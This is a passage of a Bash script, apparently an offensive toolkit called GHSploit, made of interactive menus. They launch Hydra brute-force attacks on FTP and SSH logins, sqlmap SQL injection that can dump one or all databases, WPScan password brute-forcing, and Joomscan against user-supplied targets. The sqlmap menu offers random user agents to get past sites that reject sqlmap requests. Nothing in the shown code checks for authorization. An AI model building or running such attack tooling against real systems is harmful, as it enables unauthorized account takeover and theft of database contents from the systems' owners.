  2661. ftppass="-p $ftppassword"
  2662. ;;
  2663. 2)
  2664. echo "Drag'n'Drop your password list"
  2665. read -p $'\e[1;31m>>>\e[0m ' ftppasslist
  2666. ftppass="-P $ftppasslist"
  2667. ftppassword=$ftppasslist
  2668. ;;
  2669. *)
  2670. echo "Error input, repeating.."
  2671. sleep 1
  2672. hydraftppasswordorlist
  2673. ;;
  2674. esac
  2675. }
  2676. hydraftpthreads() {
  2677. clear
  2678. banner
  2679. echo "Enter the number of threads you want to use"
  2680. echo "Enter carefully, large number of threads can cause stucks, freezes and huge lags"
  2681. echo "Optimal : 64"
  2682. read -p $'\e[1;31m>>>\e[0m ' ftpthreads
  2683. }
  2684. hydraftpcheck() {
  2685. clear
  2686. banner
  2687. echo "So, check if its all correct:"
  2688. echo "Target : $ftptarget"
  2689. echo "Port : $ftp_port"
  2690. echo "Login(s) : $ftplogin"
  2691. echo "Password(s): $ftppassword"
  2692. echo "Threads : $ftpthreads"
  2693. echo "Is it all right?(y/n)"
  2694. read -p $'\e[1;31m>>>\e[0m ' ftpisitallright
  2695. case $ftpisitallright in
  2696. y)
  2697. hydraftpgo
  2698. ;;
  2699. n)
  2700. hydraftpcorrect
  2701. ;;
  2702. *)
  2703. echo "Error input, repeating.."
  2704. sleep 1
  2705. hydraftpcheck
  2706. ;;
  2707. esac
  2708. }
  2709. hydraftpcorrect() {
  2710. echo "What's wrong?"
  2711. echo "1. Target"
  2712. echo "2. Port"
  2713. echo "3. Login(s)"
  2714. echo "4. Password(s)"
  2715. echo "5. Threads"
  2716. echo "6. My mistake, it's all right!"
  2717. read -p $'\e[1;31m>>>\e[0m ' hydraftpcorinp
  2718. case $hydraftpcorinp in
  2719. 1)
  2720. hydraftptarget
  2721. hydraftpcheck
  2722. ;;
  2723. 2)
  2724. hydraftpport
  2725. hydraftpcheck
  2726. ;;
  2727. 3)
  2728. hydraftploginorlist
  2729. hydraftpcheck
  2730. ;;
  2731. 4)
  2732. hydraftppasswordorlist
  2733. hydraftpcheck
  2734. ;;
  2735. 5)
  2736. hydraftpthreads
  2737. hydraftpcheck
  2738. ;;
  2739. 6)
  2740. hydraftpcheck
  2741. ;;
  2742. *)
  2743. echo "Error input, repeating.."
  2744. sleep 1
  2745. hydraftpcorrect
  2746. ;;
  2747. esac
  2748. }
  2749. hydraftpgo() {
  2750. xterm -hold -geometry 100x30 -T "Bruteforcing FTP on $ftptarget" -e "hydra -f -I $hattempts $ftplog $ftppass $ftp_prefix$ftptarget -t $ftpthreads $ftp_service"
  2751. }
  2752. ############################################################################################3
  2753. hydrasshbrute() {
  2754. hydrasshtarget
  2755. hydrasshport
  2756. hydrasshloginorlist
  2757. hydrasshpasswordorlist
  2758. hydrasshthreads
  2759. hydrashowattempts
  2760. hydrasshcheck
  2761. wannabackf
  2762. }
  2763. hydrasshtarget() {
  2764. clear
  2765. banner
  2766. echo "Insert your SSH target server you want to brute"
  2767. read -p $'\e[1;31m>>>\e[0m ' sshtarget
  2768. }
  2769. hydrasshport() {
  2770. clear
  2771. banner
  2772. echo "Is your target using default SSH port(22)?"
  2773. echo "If yes, just press [ENTER], if not, input your custom port"
  2774. read -p $'\e[1;31m>>>\e[0m ' ssh_port
  2775. case $ssh_port in
  2776. "")
  2777. ssh_service="ssh"
  2778. ssh_prefix=""
  2779. ssh_port=22
  2780. ;;
  2781. *)
  2782. ssh_prefix="ssh://"
  2783. ssh_service="-s $ssh_port"
  2784. ;;
  2785. esac
  2786. }
  2787. hydrasshloginorlist() {
  2788. clear
  2789. banner
  2790. echo "Do you want to use a list with logins?"
  2791. echo "Or do you have special one login to brute?"
  2792. echo "1. I know login, I need to brute password"
  2793. echo "2. I don't know login, but I have a list with logins"
  2794. read -p $'\e[1;31m>>>\e[0m ' sshloginorlist
  2795. case $sshloginorlist in
  2796. 1)
  2797. echo "Enter your login"
  2798. read -p $'\e[1;31m>>>\e[0m ' sshlogin
  2799. sshlog="-l $sshlogin"
  2800. ;;
  2801. 2)
  2802. echo "Drag'n'Drop your login list"
  2803. read -p $'\e[1;31m>>>\e[0m ' ssh_loginlist
  2804. sshlog="-L $ssh_loginlist"
  2805. sshlogin=$ssh_loginlist
  2806. ;;
  2807. *)
  2808. echo "Error input, repeating..."
  2809. sleep 1
  2810. hydrasshloginorlist
  2811. ;;
  2812. esac
  2813. }
  2814. hydrasshpasswordorlist() {
  2815. clear
  2816. banner
  2817. echo "Do you know password?"
  2818. echo "Or you have list with passwords?"
  2819. echo "1. I know password"
  2820. echo "2. I don't know password, but I have a list with passwords!"
  2821. read -p $'\e[1;31m>>>\e[0m ' sshpassorlist
  2822. case $sshpassorlist in
  2823. 1)
  2824. echo "Enter the password"
  2825. read -p $'\e[1;31m>>>\e[0m ' sshpassword
  2826. sshpass="-p $sshpassword"
  2827. ;;
  2828. 2)
  2829. echo "Drag'n'Drop your password list"
  2830. read -p $'\e[1;31m>>>\e[0m ' sshpasslist
  2831. sshpass="-P $sshpasslist"
  2832. sshpassword=$sshpasslist
  2833. ;;
  2834. *)
  2835. echo "Error input, repeating.."
  2836. sleep 1
  2837. hydrasshpasswordorlist
  2838. ;;
  2839. esac
  2840. }
  2841. hydrasshthreads() {
  2842. clear
  2843. banner
  2844. echo "Enter the number of threads you want to use"
  2845. echo "Enter carefully, large number of threads can cause stucks, freezes and huge lags"
  2846. echo "Optimal : 64"
  2847. read -p $'\e[1;31m>>>\e[0m ' sshthreads
  2848. }
  2849. hydrasshcheck() {
  2850. clear
  2851. banner
  2852. echo "So, check if its all correct:"
  2853. echo "Target : $sshtarget"
  2854. echo "Port : $ssh_port"
  2855. echo "Login(s) : $sshlogin"
  2856. echo "Password(s): $sshpassword"
  2857. echo "Threads : $sshthreads"
  2858. echo "Is it all right?(y/n)"
  2859. read -p $'\e[1;31m>>>\e[0m ' sshisitallright
  2860. case $sshisitallright in
  2861. y)
  2862. hydrasshgo
  2863. ;;
  2864. n)
  2865. hydrasshcorrect
  2866. ;;
  2867. *)
  2868. echo "Error input, repeating.."
  2869. sleep 1
  2870. hydrasshcheck
  2871. ;;
  2872. esac
  2873. }
  2874. hydrasshcorrect() {
  2875. echo "What's wrong?"
  2876. echo "1. Target"
  2877. echo "2. Port"
  2878. echo "3. Login(s)"
  2879. echo "4. Password(s)"
  2880. echo "5. Threads"
  2881. echo "6. My mistake, it's all right!"
  2882. read -p $'\e[1;31m>>>\e[0m ' hydrasshcorinp
  2883. case $hydrasshcorinp in
  2884. 1)
  2885. hydrasshtarget
  2886. hydrasshcheck
  2887. ;;
  2888. 2)
  2889. hydrasshport
  2890. hydrasshcheck
  2891. ;;
  2892. 3)
  2893. hydrasshloginorlist
  2894. hydrasshcheck
  2895. ;;
  2896. 4)
  2897. hydrasshpasswordorlist
  2898. hydrasshcheck
  2899. ;;
  2900. 5)
  2901. hydrasshthreads
  2902. hydrasshcheck
  2903. ;;
  2904. 6)
  2905. hydrasshcheck
  2906. ;;
  2907. *)
  2908. echo "Error input, repeating.."
  2909. sleep 1
  2910. hydrasshcorrect
  2911. ;;
  2912. esac
  2913. }
  2914. hydrasshgo() {
  2915. xterm -hold -geometry 100x30 -T "Bruteforcing SSH on $sshtarget" -e "hydra -f -I $hattempts $sshlog $sshpass $ssh_prefix$sshtarget -t $sshthreads $ssh_service"
  2916. }
  2917. #===================================================================
  2918. #SQLi funcs
  2919. #===================================================================
  2920. sqleasytest() {
  2921. sqltargetf
  2922. sqlbatchf
  2923. sqlagent
  2924. sqldumpf
  2925. sqlcheck
  2926. }
  2927. sqlhardtest() {
  2928. sqltargetf
  2929. sqlbatchf
  2930. sqlagent
  2931. sqldataf
  2932. sqlparamf
  2933. sqlagressivemode
  2934. sqldumpf
  2935. sqlchecktwo
  2936. }
  2937. sqldumpf() {
  2938. clear
  2939. banner
  2940. echo "Do you want to instantly try to dump vulnerable database(if it's exist)?"
  2941. echo "1. Yes, I wanna to try dump the database"
  2942. echo "2. No, I wanna do it by myself after scan"
  2943. echo "3. Hardcore, gimme ALL DATABASES(slower)!"
  2944. echo "4. I wanna specify name of DB to dump"
  2945. read -p $'\e[1;31m>>>\e[0m ' dumpornot
  2946. case $dumpornot in
  2947. 1)
  2948. sqldump="--dump"
  2949. dumpornot="Dump"
  2950. ;;
  2951. 2)
  2952. sqldump=""
  2953. dumpornot="Not dump"
  2954. ;;
  2955. 3)
  2956. sqldump="--dump-all"
  2957. dumpornot="Dump all"
  2958. ;;
  2959. 4)
  2960. echo "Enter the name of your db"
  2961. read -p $'\e[1;31m>>>\e[0m ' dbname
  2962. sqldump="-D $dbname --dump"
  2963. dumpornot="Dump $dbname"
  2964. ;;
  2965. *)
  2966. echo "Error input, repeating.."
  2967. sleep 1
  2968. sqldumpf
  2969. ;;
  2970. esac
  2971. }
  2972. sqldataf() {
  2973. clear
  2974. banner
  2975. echo "Which data you want to transfer to site?"
  2976. echo "For example, username=admin&password=admin"
  2977. echo "You can use burp-suite intercept mode to define data you transfering to site and try to play with it here"
  2978. echo "Leave empty to not transfer data"
  2979. read -p $'\e[1;31m>>>\e[0m ' sqldatat
  2980. case $sqldatat in
  2981. "")
  2982. sqldata=""
  2983. sqldatat="None"
  2984. ;;
  2985. *)
  2986. sqldata="--data='$sqldatat'"
  2987. ;;
  2988. esac
  2989. }
  2990. sqlparamf() {
  2991. clear
  2992. banner
  2993. echo "Enter the parameter you want to check or leave empty to test default parameters"
  2994. read -p $'\e[1;31m>>>\e[0m ' sqlparameter
  2995. case $sqlparameter in
  2996. "")
  2997. sqlparam=""
  2998. ;;
  2999. *)
  3000. sqlparam="-p $sqlparameter"
  3001. ;;
  3002. esac
  3003. }
  3004. sqlagressivemode() {
  3005. clear
  3006. banner
  3007. echo "Do you want to use agressive mode?(y/n)"
  3008. echo "That mode will provide more tests, but may take more time"
  3009. read -p $'\e[1;31m>>>\e[0m ' sqlagres
  3010. case $sqlagres in
  3011. y)
  3012. sqlagres="--level 5"
  3013. sqlmode="Agressive"
  3014. ;;
  3015. n)
  3016. sqlagres=""
  3017. sqlmode="Soft"
  3018. ;;
  3019. *)
  3020. echo "Error input, repeating.."
  3021. sleep 1
  3022. sqlagressivemode
  3023. ;;
  3024. esac
  3025. }
  3026. sqlagent() {
  3027. clear
  3028. banner
  3029. echo "Some sites may ignore requests that come from sqlmap."
  3030. echo "To do this, you can use the random user agent option so that sqlmap does not stop at the site's request rejection stage."
  3031. echo "Do you want to use the random user agent? Or do you have your own, special user agent for this site?"
  3032. echo "1. I want to use random user agent"
  3033. echo "2. I don't want to use random user agent"
  3034. read -p $'\e[1;31m>>>\e[0m ' sqluseragent
  3035. case $sqluseragent in
  3036. 1)
  3037. sqluseragent="--random-agent"
  3038. sua="Random agent"
  3039. ;;
  3040. 2)
  3041. sqluseragent=""
  3042. sua="None"
  3043. ;;
  3044. *)
  3045. echo "Error input, repeating.."
  3046. sleep 1
  3047. sqlagent
  3048. ;;
  3049. esac
  3050. }
  3051. sqltargetf() {
  3052. clear
  3053. banner
  3054. echo "Well, for start, please, enter the target of SQL injection"
  3055. read -p $'\e[1;31m>>>\e[0m ' sqltarget
  3056. }
  3057. sqlbatchf() {
  3058. clear
  3059. banner
  3060. echo "Do you want to use 'batch' mode?"
  3061. echo "In this mode, you don't have to answer the questions that sqlmap will ask you."
  3062. echo "it will do everything by itself, a kind of automatic mode"
  3063. echo "1. Yes, I want to run sqlmap and go make some coffee"
  3064. echo "2. No, I want to monitor process and answer manually!"
  3065. read -p $'\e[1;31m>>>\e[0m ' sqlbatch
  3066. case $sqlbatch in
  3067. 1)
  3068. sqlbatch="--batch"
  3069. batch="True"
  3070. ;;
  3071. 2)
  3072. sqlbatch=""
  3073. batch="False"
  3074. ;;
  3075. *)
  3076. echo "Error input, repeating.."
  3077. sleep 1
  3078. sqlbatchf
  3079. ;;
  3080. esac
  3081. }
  3082. sqlchecktwo() {
  3083. clear
  3084. banner
  3085. echo "Your target : $sqltarget"
  3086. echo "User agent : $sua"
  3087. echo "Batch : $batch"
  3088. echo "Parameter : $sqlparam"
  3089. echo "Mode : $sqlmode"
  3090. echo "Data : $sqldatat"
  3091. echo "Dump : $dumpornot"
  3092. echo "Is it all right?"
  3093. echo "[Enter] to go, 'n' to make changes"
  3094. read -p $'\e[1;31m>>>\e[0m ' sqlcheckans
  3095. case $sqlcheckans in
  3096. "")
  3097. sqlmapgotwo
  3098. ;;
  3099. n)
  3100. echo "What's wrong?"
  3101. echo "1. Target"
  3102. echo "2. User agent"
  3103. echo "3. Batch mode"
  3104. echo "4. Parameter"
  3105. echo "5. Mode"
  3106. echo "6. Dump or not"
  3107. echo "7. Data"
  3108. echo "8. It's all right, GO!"
  3109. read -p $'\e[1;31m>>>\e[0m ' sqlwrong
  3110. case $sqlwrong in
  3111. 1)
  3112. sqltargetf
  3113. sqlchecktwo
  3114. ;;
  3115. 2)
  3116. sqlagent
  3117. sqlchecktwo
  3118. ;;
  3119. 3)
  3120. sqlbatchf
  3121. sqlchecktwo
  3122. ;;
  3123. 4)
  3124. sqlparamf
  3125. sqlchecktwo
  3126. ;;
  3127. 5)
  3128. sqlagressivemode
  3129. sqlchecktwo
  3130. ;;
  3131. 6)
  3132. sqldumpf
  3133. sqlchecktwo
  3134. ;;
  3135. 7)
  3136. sqldataf
  3137. sqlchecktwo
  3138. ;;
  3139. 8)
  3140. sqlmapgotwo
  3141. ;;
  3142. *)
  3143. echo "Error input, re-asking.."
  3144. sleep 1
  3145. sqlchecktwo
  3146. ;;
  3147. esac
  3148. ;;
  3149. *)
  3150. echo "Error input, repeating.."
  3151. sleep 1
  3152. sqlchecktwo
  3153. ;;
  3154. esac
  3155. }
  3156. sqlcheck() {
  3157. clear
  3158. banner
  3159. echo "Your target : $sqltarget"
  3160. echo "User agent : $sua"
  3161. echo "Batch : $batch"
  3162. echo "Dump : $dumpornot"
  3163. echo "Is it all right?"
  3164. echo "[Enter] to go, 'n' to make changes"
  3165. read -p $'\e[1;31m>>>\e[0m ' sqlcheckans
  3166. case $sqlcheckans in
  3167. "")
  3168. sqlmapgo
  3169. ;;
  3170. n)
  3171. echo "What's wrong?"
  3172. echo "1. Target"
  3173. echo "2. User agent"
  3174. echo "3. Batch mode"
  3175. echo "4. Dump or not"
  3176. echo "5. It is all right, GO!"
  3177. read -p $'\e[1;31m>>>\e[0m ' sqlwrong
  3178. case $sqlwrong in
  3179. 1)
  3180. sqltargetf
  3181. sqlcheck
  3182. ;;
  3183. 2)
  3184. sqlagent
  3185. sqlcheck
  3186. ;;
  3187. 3)
  3188. sqlbatchf
  3189. sqlcheck
  3190. ;;
  3191. 4)
  3192. sqldumpf
  3193. sqlcheck
  3194. ;;
  3195. 5)
  3196. sqlmapgo
  3197. ;;
  3198. *)
  3199. echo "Error input, re-asking.."
  3200. sleep 1
  3201. sqlcheck
  3202. ;;
  3203. esac
  3204. ;;
  3205. *)
  3206. echo "Error input, repeating.."
  3207. sleep 1
  3208. sqlcheck
  3209. ;;
  3210. esac
  3211. }
  3212. sqlmapgotwo() {
  3213. xterm -geometry 100x30 -hold -T "Running a SQL injection on target $sqltarget" -e "sqlmap -u '$sqltarget' $sqluseragent $sqlagres $sqlparam $sqldata $sqlbatch $sqldump"
  3214. wannabackf
  3215. }
  3216. sqlmapgo() {
  3217. xterm -geometry 100x30 -hold -T "Running a SQL injection on target $sqltarget" -e "sqlmap -u '$sqltarget' $sqluseragent $sqlbatch $sqldump"
  3218. wannabackf
  3219. }
  3220. sqldumbmode() {
  3221. xterm -hold -geometry 100x30 -T "Running sqlmap in dumb mode :)" -e "sqlmap --wizard"
  3222. wannabackf
  3223. }
  3224. sqlf() {
  3225. clear
  3226. banner
  3227. echo "Now, I need to ask you one thing"
  3228. echo "How do you feel yourself about knowledge of sqlmap?"
  3229. echo "If you new user, I recommend you to perform easy test"
  3230. echo "If you experienced user and you know what parameters, data you want to test, select mode '2'"
  3231. echo ""
  3232. echo "1. I'm new user, wanna perfrom easy test"
  3233. echo "2. I'm experienced user, I know what to do"
  3234. echo "3. I'm full dumb and dunno what are you talking about, please help me :*("
  3235. read -p $'\e[1;31m>>>\e[0m ' sqlimpques
  3236. case $sqlimpques in
  3237. 1)
  3238. sqleasytest
  3239. ;;
  3240. 2)
  3241. sqlhardtest
  3242. ;;
  3243. 3)
  3244. sqldumbmode
  3245. ;;
  3246. *)
  3247. echo "Error input, repeating.."
  3248. sleep 1
  3249. sqlf
  3250. ;;
  3251. esac
  3252. }
  3253. #===================================================================
  3254. #Starting of wpscan funcs
  3255. #===================================================================
  3256. enumerating="-e"
  3257. detectionmode="--detection-mode aggressive"
  3258. redirect="--ignore-main-redirect"
  3259. wpusername=""
  3260. wppassword=""
  3261. wpbrute="-U $wpusername -P $wppassword"
  3262. wpscanf() {
  3263. wpscantarget
  3264. wpusernamef
  3265. wpsgo
  3266. wannabackf
  3267. }
  3268. wpusernamef() {
  3269. clear
  3270. banner
  3271. echo "Do you have list of usernames to enumerate?"
  3272. echo "1. Yes, I have list of usernames"
  3273. echo "2. No, I won't enumerate users"
  3274. read -p $'\e[1;31m>>>\e[0m ' wpenumusers
  3275. case $wpenumusers in
  3276. 1)
  3277. echo "Please, input or Drag'n'Drop list of usernames to enumerate"
  3278. read -p $'\e[1;31m>>>\e[0m ' wpusername
  3279. wppasswordf
  3280. ;;
  3281. 2)
  3282. wpbrute=""
  3283. ;;
  3284. *)
  3285. echo "Error input, repeating.."
  3286. sleep 1
  3287. wpusernamef
  3288. ;;
  3289. esac
  3290. }
  3291. wppasswordf() {
  3292. clear
  3293. banner
  3294. echo "Do you have a password or password list to enumerate?"
  3295. echo "1. Yes, I have a password/password list!"
  3296. echo "2. No, I haven't password list"
  3297. read -p $'\e[1;31m>>>\e[0m ' wpenumpas
  3298. case $wpenumpas in
  3299. 1)
  3300. echo "Please, Drag'n'Drop list of passwords to enumerate"
  3301. read -p $'\e[1;31m>>>\e[0m ' wppassword
  3302. ;;
  3303. 2)
  3304. echo "Sorry, you need a password or password list to enumerate"
  3305. echo "If you haven't password, you can't brute, you should use hydra first to enumerate username and password later!"
  3306. echo "Setting bruteforce to NONE"
  3307. echo "Press [ENTER] to continue"
  3308. read aoishoifioq
  3309. wpbrute=""
  3310. ;;
  3311. *)
  3312. echo "Error input, repeating.."
  3313. sleep 1
  3314. wppasswordf
  3315. ;;
  3316. esac
  3317. }
  3318. wpsgo() {
  3319. xterm -hold -geometry 100x30 -T "Running WPScan" -e "wpscan --url $wptarget -e $detectionmode $redirect $wpbrute"
  3320. }
  3321. wpscantarget() {
  3322. clear
  3323. banner
  3324. echo "Please, specify your target IP or hostname"
  3325. read -p $'\e[1;31m>>>\e[0m ' wptarget
  3326. }
  3327. #===================================================================
  3328. #Ending of wpscan funcs
  3329. #===================================================================
  3330. #Starting of Joomscan funcs
  3331. #===================================================================
  3332. joomtargetf() {
  3333. clear
  3334. banner
  3335. echo "Enter your target Joomla site"
  3336. read -p $'\e[1;31m>>>\e[0m ' joomtarget
  3337. }
  3338. joomcookief() {
  3339. clear
  3340. banner
  3341. echo "Do you want to set special cookie?"
  3342. echo "1. Yes, I have one"
  3343. echo "2. No, I haven't one"
  3344. read -p $'\e[1;31m>>>\e[0m ' joomcookieyesno
  3345. case $joomcookieyesno in
  3346. 1)
  3347. echo "Please, insert your cookie string here"
  3348. read -p $'\e[1;31m>>>\e[0m ' cookie
  3349. joomcookie="--cookie $cookie"
  3350. ;;
  3351. 2)
  3352. joomcookie=""
  3353. cookie="None"
  3354. ;;
  3355. *)
  3356. echo "Error input, repeating.."
  3357. sleep 1
  3358. joomcookief
  3359. ;;
  3360. esac
  3361. }
  3362. joomagentf() {
  3363. clear
  3364. banner
  3365. echo "Do you want to use random user-agent? Or do you have special one?"
  3366. echo "1. Yes, I have my special user-agent"
  3367. echo "2. Yes, I want to use random user agent"
  3368. read -p $'\e[1;31m>>>\e[0m ' joomuserag
  3369. case $joomuserag in
  3370. 1)
  3371. echo "Please, insert your user agent"
  3372. read -p $'\e[1;31m>>>\e[0m ' joomuser
  3373. juseragent="-a $joomuser"
  3374. jshowagent="$joomuser"
  3375. ;;
  3376. 2)
  3377. juseragent="--random-agent"
  3378. jshowagent="Random"
  3379. ;;
  3380. *)
  3381. echo "Error input, repeating.."
  3382. sleep 1
  3383. joomagentf
  3384. ;;
  3385. esac
  3386. }
  3387. joomcheckf() {
  3388. clear
  3389. banner
  3390. echo "Well, let's check before we go!"
  3391. echo "Target website : $joomtarget"
  3392. echo "User-agent : $jshowagent"
  3393. echo "Cookie : $cookie"
  3394. echo "Is it all right?(y/n)"
  3395. read -p $'\e[1;31m>>>\e[0m ' joomcheck
  3396. case $joomcheck in
  3397. y)
  3398. joomgo
  3399. ;;
  3400. n)
  3401. echo "What's wrong?"
  3402. echo "1. Target website"
  3403. echo "2. User agent"
  3404. echo "3. Cookie"
  3405. echo "4. My bad, it is all right, go now!"
  3406. read -p $'\e[1;31m>>>\e[0m ' jwrong
  3407. case $jwrong in
  3408. 1)
  3409. joomtargetf
  3410. joomcheckf
  3411. ;;
  3412. 2)
  3413. joomagentf
  3414. joomcheckf
  3415. ;;
  3416. 3)
  3417. joomcookief
  3418. joomcheckf
  3419. ;;
  3420. 4)
  3421. joomgo
  3422. ;;
  3423. *)
  3424. echo "Error input, repeating..."
  3425. sleep 1
  3426. joomcheckf
  3427. ;;
  3428. esac
  3429. ;;
  3430. *)
  3431. echo "Error input, repeating.."
  3432. sleep 1
  3433. joomcheckf
  3434. ;;
  3435. esac
  3436. }
  3437. joomgo() {
  3438. xterm -hold -geometry 100x30 -T "Attacking Joomla scan on $joomtarget" -e "joomscan -u $joomtarget -ec $juseragent $joomcookie"
  3439. wannabackf
  3440. }
  3441. joomscanf() {
  3442. joomtargetf
  3443. joomcookief
  3444. joomagentf
  3445. joomcheckf
  3446. }
  3447. #===================================================================
  3448. #Starting
  3449. #===================================================================
  3450. case $1 in
  3451. -f)
  3452. forcestart
  3453. ;;
  3454. -h | --help)
  3455. echo "Welcome to the GHSploit help page."
  3456. echo "Usage tips: "
  3457. echo "./GHSploit - standart GHSploit executing"
  3458. echo ""
  3459. echo "-h or --help - View this page"
  3460. echo "-f - Force start without updating and requiements install(Not all functions may work)"
  3461. echo "-fi - Force start with requiements installation(no system updating)"
  3462. echo "--nonroot - Force start without root-privileges. No installing requiements, no updates"
  3463. ;;
  3464. -fi)
  3465. forcestartinst
  3466. ;;
  3467. --nonroot)
  3468. nonroot
  3469. ;;
  3470. *)
  3471. prestart
  3472. main_menu
  3473. ;;
  3474. esac